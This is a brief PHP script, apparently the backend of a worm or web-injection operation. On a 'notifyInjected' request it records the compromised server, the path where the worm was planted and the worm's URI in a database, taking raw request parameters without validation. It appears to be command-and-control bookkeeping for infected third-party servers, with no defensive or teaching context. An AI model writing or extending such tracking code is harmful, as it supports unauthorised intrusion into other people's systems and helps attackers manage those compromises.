<?php
/**
 * Created by PhpStorm.
 * User: Weizehua
 * Date: 8/8/2016
 * Time: 22:31
 */
include_once ("../core/database.php");
if(isset($_REQUEST['action']))
{
    $action = $_REQUEST['action'];
    if($action == 'notifyInjected')
    {
        $path = $_REQUEST['path'];
        $wormUri = $_REQUEST['wormUri'];
        $server = $_REQUEST['server'];
        
        $inject = new Inject();
        $inject->wormFile = $wormUri;
        $inject->server = $server;
        $inject->path = $path;
        injects_insert($inject);
    }
}
